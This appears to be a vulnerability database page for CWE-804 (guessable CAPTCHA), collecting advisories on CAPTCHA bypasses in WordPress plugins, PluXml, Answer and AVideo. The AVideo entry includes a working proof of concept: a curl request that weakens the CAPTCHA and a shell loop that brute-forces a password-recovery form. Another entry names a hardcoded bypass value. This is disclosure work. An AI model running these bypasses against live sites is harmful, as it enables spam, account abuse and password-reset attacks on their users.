CWE-804
AllowedGuessable CAPTCHA
Abstraction: Base · Status: Incomplete
The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.
34 vulnerabilities reference this CWE, most recent first.
GHSA-4639-47CP-327M
Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-11 15:31If the anti spam-captcha functionality in PluXml versions 5.8.22 and earlier is enabled, a captcha challenge is generated with a format that can be automatically recognized for articles, such that an automated script is able to solve this anti-spam mechanism trivially and publish spam comments. The details of captcha challenge are exposed within document body of articles with comments & anti spam-captcha functionalities enabled, including "capcha-letter", "capcha-word" and "capcha-token" which can be used to construct a valid post request to publish a comment. As such, attackers can flood articles with automated spam comments, especially if there are no other web defenses available.
{
"affected": [],
"aliases": [
"CVE-2025-70129"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T20:16:20Z",
"severity": "MODERATE"
},
"details": "If the anti spam-captcha functionality in PluXml versions 5.8.22 and earlier is enabled, a captcha challenge is generated with a format that can be automatically recognized for articles, such that an automated script is able to solve this anti-spam mechanism trivially and publish spam comments. The details of captcha challenge are exposed within document body of articles with comments \u0026 anti spam-captcha functionalities enabled, including \"capcha-letter\", \"capcha-word\" and \"capcha-token\" which can be used to construct a valid post request to publish a comment. As such, attackers can flood articles with automated spam comments, especially if there are no other web defenses available.",
"id": "GHSA-4639-47cp-327m",
"modified": "2026-03-11T15:31:46Z",
"published": "2026-03-10T21:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70129"
},
{
"type": "WEB",
"url": "https://github.com/forest4x/vuln-research-public/blob/main/CVE-2025-70129.pdf"
},
{
"type": "WEB",
"url": "https://youtu.be/dD2olE4yMqY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5CWM-9HM2-R3CF
Vulnerability from github – Published: 2022-11-29 21:30 – Updated: 2026-04-08 21:31The Appointment Hour Booking plugin for WordPress is vulnerable to CAPTCHA bypass in versions up to, and including, 1.3.72. This is due to the use of insufficiently strong hashing algorithm on the CAPTCHA secret that is also displayed to the user via a cookie.
{
"affected": [],
"aliases": [
"CVE-2022-4036"
],
"database_specific": {
"cwe_ids": [
"CWE-326",
"CWE-804",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-29T21:15:00Z",
"severity": "MODERATE"
},
"details": "The Appointment Hour Booking plugin for WordPress is vulnerable to CAPTCHA bypass in versions up to, and including, 1.3.72. This is due to the use of insufficiently strong hashing algorithm on the CAPTCHA secret that is also displayed to the user via a cookie.",
"id": "GHSA-5cwm-9hm2-r3cf",
"modified": "2026-04-08T21:31:45Z",
"published": "2022-11-29T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4036"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2803896%40appointment-hour-booking\u0026new=2803896%40appointment-hour-booking\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f62d28bd-fa33-4f0b-a116-5aacc05bfa3a?source=cve"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-4036"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5HRC-FRP7-8XRQ
Vulnerability from github – Published: 2026-07-17 15:32 – Updated: 2026-07-17 15:32HCL Aftermarket EPC is affected by Sensitive Information in GET method & in URL which allows application to pass sensitive data via URL parameters during normal usage. Data passed in this manner can be exposed because it may end up stored in unintended locations, including server logs, local browser history and proxy logs.
{
"affected": [],
"aliases": [
"CVE-2024-23567"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T14:17:16Z",
"severity": "MODERATE"
},
"details": "HCL Aftermarket EPC is affected by Sensitive Information in GET method \u0026 in URL which allows application to pass sensitive data via URL parameters during normal usage. Data passed in this manner can be exposed because it may end up stored in unintended locations, including server logs, local browser history and proxy logs.",
"id": "GHSA-5hrc-frp7-8xrq",
"modified": "2026-07-17T15:32:30Z",
"published": "2026-07-17T15:32:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23567"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0132294"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6589-39CQ-P9HW
Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31Guessable CAPTCHA vulnerability in BestWebSoft Captcha by BestWebSoft allows Functionality Bypass.This issue affects Captcha by BestWebSoft: from n/a through 5.2.0.
{
"affected": [],
"aliases": [
"CVE-2024-31295"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T09:15:34Z",
"severity": "MODERATE"
},
"details": "Guessable CAPTCHA vulnerability in BestWebSoft Captcha by BestWebSoft allows Functionality Bypass.This issue affects Captcha by BestWebSoft: from n/a through 5.2.0.",
"id": "GHSA-6589-39cq-p9hw",
"modified": "2024-05-17T09:31:02Z",
"published": "2024-05-17T09:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31295"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/captcha-bws/wordpress-captcha-by-bestwebsoft-plugin-5-2-0-captcha-bypass-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9P5C-4HGP-XHPR
Vulnerability from github – Published: 2025-02-25 15:34 – Updated: 2025-02-25 15:34The Advanced Google reCaptcha plugin for WordPress is vulnerable to CAPTCHA Bypass in versions up to, and including, 1.27 . This makes it possible for unauthenticated attackers to bypass the Built-in Math Captcha Verification.
{
"affected": [],
"aliases": [
"CVE-2025-1262"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-25T13:15:10Z",
"severity": "MODERATE"
},
"details": "The Advanced Google reCaptcha plugin for WordPress is vulnerable to CAPTCHA Bypass in versions up to, and including, 1.27 . This makes it possible for unauthenticated attackers to bypass the Built-in Math Captcha Verification.",
"id": "GHSA-9p5c-4hgp-xhpr",
"modified": "2025-02-25T15:34:36Z",
"published": "2025-02-25T15:34:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1262"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3244677/advanced-google-recaptcha"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d553aab2-d441-46d6-9c01-5dcfdc48674f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C8XC-GC49-4VF2
Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00The Very Simple Contact Form WordPress plugin before 11.6 exposes the solution to the captcha in the rendered contact form, both as hidden input fields and as plain text in the page, making it very easy for bots to bypass the captcha check, rendering the page a likely target for spam bots.
{
"affected": [],
"aliases": [
"CVE-2022-1801"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-804",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-20T11:15:00Z",
"severity": "HIGH"
},
"details": "The Very Simple Contact Form WordPress plugin before 11.6 exposes the solution to the captcha in the rendered contact form, both as hidden input fields and as plain text in the page, making it very easy for bots to bypass the captcha check, rendering the page a likely target for spam bots.",
"id": "GHSA-c8xc-gc49-4vf2",
"modified": "2022-06-29T00:00:27Z",
"published": "2022-06-21T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1801"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/a5c97809-2ffc-4efb-8c80-1b734361cd06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FMG2-G3M4-VMM3
Vulnerability from github – Published: 2026-11-12 21:31 – Updated: 2026-11-12 21:31Image CAPTCHA for Contact Form 7 and WPForms through 3.3.29 contains a CAPTCHA bypass vulnerability that allows unauthenticated attackers to defeat the anti-automation control by exploiting a hardcoded static answer in the Contact Form 7 integration. Attackers can submit kc_captcha=kc_human to pass validation in cf7ic_check_if_spam() on every protected form, enabling automated contact-form spam and abuse of actions gated only by this CAPTCHA.
{
"affected": [],
"aliases": [
"CVE-2026-127206"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-12T21:17:22Z",
"severity": "MODERATE"
},
"details": "Image CAPTCHA for Contact Form 7 and WPForms through 3.3.29 contains a CAPTCHA bypass vulnerability that allows unauthenticated attackers to defeat the anti-automation control by exploiting a hardcoded static answer in the Contact Form 7 integration. Attackers can submit kc_captcha=kc_human to pass validation in cf7ic_check_if_spam() on every protected form, enabling automated contact-form spam and abuse of actions gated only by this CAPTCHA.",
"id": "GHSA-fmg2-g3m4-vmm3",
"modified": "2026-11-12T21:31:32Z",
"published": "2026-11-12T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-127206"
},
{
"type": "WEB",
"url": "https://hackmd.io/@buiih/S1pRnCeCfl"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/contact-form-7-image-captcha"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/image-captcha-for-contact-form-7-and-wpforms-captcha-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G44V-6QFM-F6CH
Vulnerability from github – Published: 2023-03-21 06:30 – Updated: 2023-03-27 22:10Guessable CAPTCHA in GitHub repository answerdev/answer prior to 1.0.6.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/answerdev/answer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-1539"
],
"database_specific": {
"cwe_ids": [
"CWE-307",
"CWE-804"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-21T22:32:31Z",
"nvd_published_at": "2023-03-21T05:15:00Z",
"severity": "MODERATE"
},
"details": "Guessable CAPTCHA in GitHub repository answerdev/answer prior to 1.0.6.",
"id": "GHSA-g44v-6qfm-f6ch",
"modified": "2023-03-27T22:10:58Z",
"published": "2023-03-21T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1539"
},
{
"type": "WEB",
"url": "https://github.com/answerdev/answer/commit/813ad0b9894673b1bdd489a2e9ab60a44fe990af"
},
{
"type": "PACKAGE",
"url": "https://github.com/answerdev/answer"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/b4df67f4-14ea-4051-97d4-26690c979a28"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Answer has Guessable CAPTCHA"
}
GHSA-H2P5-5XGM-H7M9
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2026-04-08 21:32The Getwid – Gutenberg Blocks plugin for WordPress is vulnerable to CAPTCHA Bypass in versions up to, and including, 2.0.4. This makes it possible for unauthenticated attackers to bypass the Captcha Verification of the Contact Form block by omitting 'g-recaptcha-response' from the 'data' array.
{
"affected": [],
"aliases": [
"CVE-2023-6963"
],
"database_specific": {
"cwe_ids": [
"CWE-804",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T22:15:57Z",
"severity": "MODERATE"
},
"details": "The Getwid \u2013 Gutenberg Blocks plugin for WordPress is vulnerable to CAPTCHA Bypass in versions up to, and including, 2.0.4. This makes it possible for unauthenticated attackers to bypass the Captcha Verification of the Contact Form block by omitting \u0027g-recaptcha-response\u0027 from the \u0027data\u0027 array.",
"id": "GHSA-h2p5-5xgm-h7m9",
"modified": "2026-04-08T21:32:12Z",
"published": "2024-02-06T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6963"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3022982"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d317f2c7-06f3-4875-9f9b-eb7f450aa2f4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HG7G-56H5-5PQR
Vulnerability from github – Published: 2026-04-14 23:13 – Updated: 2026-04-24 20:32Summary
objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.
Details
Three cooperating flaws in objects/getCaptcha.php and objects/captcha.php reduce CAPTCHA protection to a deterministic bypass.
1. External control of CAPTCHA strength (objects/getCaptcha.php:7)
$largura = empty($_GET['l']) ? 120 : $_GET['l'];
$altura = empty($_GET['a']) ? 40 : $_GET['a'];
$tamanho_fonte = empty($_GET['tf']) ? 18 : $_GET['tf'];
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled
$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();
There is no minimum, no type-check, and no clamping. Requesting /objects/getCaptcha.php?ql=1 causes the server to generate a single-character word and save it to the attacker's own PHP session.
2. Small alphabet stored in the session (objects/captcha.php:33-39)
$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
$palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;
After case-folding the alphabet is 25 letters (A–Z minus O) plus digits 2-9, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.
3. Weak comparison and token NOT invalidated on failure (objects/captcha.php:58-75)
public static function validation($word)
{
if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
return true;
}
_session_start();
if (empty($_SESSION["palavra"])) {
_error_log("Captcha validation Error: you type ({$word}) and session is empty ...");
return false;
}
$validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
if (!$validation) {
_error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESSION["palavra"]}) ...");
} else {
unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse
}
return $validation;
}
Two problems here:
strcasecmpis case-insensitive, collapsing the alphabet to ~33 distinct values.unset($_SESSION["palavra"])only runs in the success branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.
Reachability
Captcha::validation() is invoked from unauthenticated entry points including:
objects/userCreate.json.php:38— user registration (Captcha::validation($_POST['captcha']))objects/userRecoverPass.php:31— password recoveryobjects/sendEmail.json.php:10— public contact emailplugin/API/API.php:4243and:5684— public API endpointsplugin/CustomizeUser/donate.json.php:62,confirmDeleteUser.json.php:15plugin/YPTWallet/view/transferFunds.json.php:25
None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.
PoC
Attacker flow against an unauthenticated signup/recovery endpoint:
Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:
curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null
Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset $_SESSION["palavra"], the same cookie jar is reused and the same stored value is checked against each guess:
for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
'https://target/objects/userRecoverPass.php' \
--data-urlencode 'user=victim' \
--data-urlencode 'recoverpass=1' \
--data-urlencode "captcha=$c")
if ! grep -q 'Your code is not valid' /tmp/r; then
echo "HIT with captcha=$c"; break
fi
done
- Worst case: 33 POSTs per session to pass the CAPTCHA once.
- With
ql=2the keyspace is ~1089 — still trivial and more robust against any edge cases involvingempty()on a single-digit word. - The same technique works against
userCreate.json.php,sendEmail.json.php, and every otherCaptcha::validation()caller.
Observed behavior on the local instance: each wrong guess returns "Your code is not valid" without rotating $_SESSION["palavra"]; the logged session is (<char>) message in _error_log stays the same across all failed attempts in a session, confirming the token is not rotated.
Impact
CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:
- Automated account creation / spam signups via
userCreate.json.php. - User enumeration / password-reset spamming via
userRecoverPass.php. - Unsolicited email abuse via
sendEmail.json.php. - Comment / donation / wallet abuse on plugin endpoints that rely on
Captcha::validation.
It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.
Recommended Fix
Three coordinated changes in objects/getCaptcha.php and objects/captcha.php:
- Clamp
ql(and ideally the other image params) to a safe server-side range:
php
// objects/getCaptcha.php
$quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5;
$quantidade_letras = max(5, min(8, $quantidade_letras));
- Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh
getCaptcha.phpround-trip:
php
// objects/captcha.php::validation()
_session_start();
if (empty($_SESSION["palavra"])) {
return false;
}
$stored = $_SESSION["palavra"];
unset($_SESSION["palavra"]); // always consume, regardless of outcome
if (User::isAdmin() && $stored === 'admin') {
return true;
}
return strcasecmp($word, $stored) === 0;
- Use a CSPRNG for word generation instead of
str_shuffle, e.g.:
php
$palavra = '';
$len = strlen($letters);
for ($i = 0; $i < $this->quantidade_letras; $i++) {
$palavra .= $letters[random_int(0, $len - 1)];
}
Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call Captcha::validation() as defense in depth.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40935"
],
"database_specific": {
"cwe_ids": [
"CWE-804"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:13:21Z",
"nvd_published_at": "2026-04-21T23:16:20Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.\n\n## Details\n\nThree cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass.\n\n### 1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)\n\n```php\n$largura = empty($_GET[\u0027l\u0027]) ? 120 : $_GET[\u0027l\u0027];\n$altura = empty($_GET[\u0027a\u0027]) ? 40 : $_GET[\u0027a\u0027];\n$tamanho_fonte = empty($_GET[\u0027tf\u0027]) ? 18 : $_GET[\u0027tf\u0027];\n$quantidade_letras = empty($_GET[\u0027ql\u0027]) ? 5 : $_GET[\u0027ql\u0027]; // attacker-controlled\n\n$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);\n$capcha-\u003egetCaptchaImage();\n```\n\nThere is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker\u0027s own PHP session.\n\n### 2. Small alphabet stored in the session (`objects/captcha.php:33-39`)\n\n```php\n$letters = \u0027AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789\u0027;\n$palavra = substr(str_shuffle($letters), 0, ($this-\u003equantidade_letras));\nif (User::isAdmin() \u0026\u0026 empty($_REQUEST[\u0027forceCaptcha\u0027])) {\n $palavra = \"admin\";\n}\n_session_start();\n$_SESSION[\"palavra\"] = $palavra;\n```\n\nAfter case-folding the alphabet is 25 letters (A\u2013Z minus `O`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.\n\n### 3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)\n\n```php\npublic static function validation($word)\n{\n if (User::isAdmin() \u0026\u0026 $_SESSION[\"palavra\"] === \u0027admin\u0027) {\n return true;\n }\n _session_start();\n if (empty($_SESSION[\"palavra\"])) {\n _error_log(\"Captcha validation Error: you type ({$word}) and session is empty ...\");\n return false;\n }\n $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n if (!$validation) {\n _error_log(\"Captcha validation Error: you type ({$word}) and session is ({$_SESSION[\"palavra\"]}) ...\");\n } else {\n unset($_SESSION[\"palavra\"]); // Consume the captcha token to prevent reuse\n }\n return $validation;\n}\n```\n\nTwo problems here:\n\n* `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values.\n* `unset($_SESSION[\"palavra\"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.\n\n### Reachability\n\n`Captcha::validation()` is invoked from unauthenticated entry points including:\n\n* `objects/userCreate.json.php:38` \u2014 user registration (`Captcha::validation($_POST[\u0027captcha\u0027])`)\n* `objects/userRecoverPass.php:31` \u2014 password recovery\n* `objects/sendEmail.json.php:10` \u2014 public contact email\n* `plugin/API/API.php:4243` and `:5684` \u2014 public API endpoints\n* `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15`\n* `plugin/YPTWallet/view/transferFunds.json.php:25`\n\nNone of these require authentication for the CAPTCHA check to matter \u2014 they rely on it exactly because they\u0027re exposed to anonymous or lightly-authenticated callers.\n\n## PoC\n\nAttacker flow against an unauthenticated signup/recovery endpoint:\n\nStep 1 \u2014 Weaken the CAPTCHA to one character and install it in the attacker\u0027s own PHP session:\n\n```\ncurl -c jar -s \u0027https://target/objects/getCaptcha.php?ql=1\u0027 -o /dev/null\n```\n\nStep 2 \u2014 Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION[\"palavra\"]`, the same cookie jar is reused and the same stored value is checked against each guess:\n\n```\nfor c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do\n code=$(curl -b jar -s -o /tmp/r -w \u0027%{http_code}\u0027 -X POST \\\n \u0027https://target/objects/userRecoverPass.php\u0027 \\\n --data-urlencode \u0027user=victim\u0027 \\\n --data-urlencode \u0027recoverpass=1\u0027 \\\n --data-urlencode \"captcha=$c\")\n if ! grep -q \u0027Your code is not valid\u0027 /tmp/r; then\n echo \"HIT with captcha=$c\"; break\n fi\ndone\n```\n\n* Worst case: 33 POSTs per session to pass the CAPTCHA once.\n* With `ql=2` the keyspace is ~1089 \u2014 still trivial and more robust against any edge cases involving `empty()` on a single-digit word.\n* The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller.\n\nObserved behavior on the local instance: each wrong guess returns `\"Your code is not valid\"` without rotating `$_SESSION[\"palavra\"]`; the logged `session is (\u003cchar\u003e)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated.\n\n## Impact\n\nCAPTCHA is the only \"are you human\" control on several anonymous endpoints. Reducing it to a deterministic \u226433-try bypass enables:\n\n* **Automated account creation / spam signups** via `userCreate.json.php`.\n* **User enumeration / password-reset spamming** via `userRecoverPass.php`.\n* **Unsolicited email abuse** via `sendEmail.json.php`.\n* **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`.\n\nIt does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.\n\n## Recommended Fix\n\nThree coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`:\n\n1. Clamp `ql` (and ideally the other image params) to a safe server-side range:\n\n ```php\n // objects/getCaptcha.php\n $quantidade_letras = isset($_GET[\u0027ql\u0027]) ? (int)$_GET[\u0027ql\u0027] : 5;\n $quantidade_letras = max(5, min(8, $quantidade_letras));\n ```\n\n2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip:\n\n ```php\n // objects/captcha.php::validation()\n _session_start();\n if (empty($_SESSION[\"palavra\"])) {\n return false;\n }\n $stored = $_SESSION[\"palavra\"];\n unset($_SESSION[\"palavra\"]); // always consume, regardless of outcome\n if (User::isAdmin() \u0026\u0026 $stored === \u0027admin\u0027) {\n return true;\n }\n return strcasecmp($word, $stored) === 0;\n ```\n\n3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.:\n\n ```php\n $palavra = \u0027\u0027;\n $len = strlen($letters);\n for ($i = 0; $i \u003c $this-\u003equantidade_letras; $i++) {\n $palavra .= $letters[random_int(0, $len - 1)];\n }\n ```\n\nOptionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth.",
"id": "GHSA-hg7g-56h5-5pqr",
"modified": "2026-04-24T20:32:43Z",
"published": "2026-04-14T23:13:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40935"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.